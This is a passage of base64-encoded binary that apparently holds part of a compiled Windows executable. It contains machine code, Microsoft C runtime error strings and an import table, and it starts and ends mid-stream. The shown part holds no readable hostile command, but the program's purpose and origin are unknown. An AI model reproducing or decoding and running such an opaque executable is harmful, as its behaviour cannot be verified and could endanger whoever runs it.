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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAJbcAACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrd AADq3AAA2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAA QNoAAFLaAABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7a AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA 3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA AAAAAC7eAAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMA AIAXAACAAAAAAAAAAAAAAAAABQAAAAAAAAAHAAAACQAAAAUAAAACAAAAAgAAAAIAAAACAAAA DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90 IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50 cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m 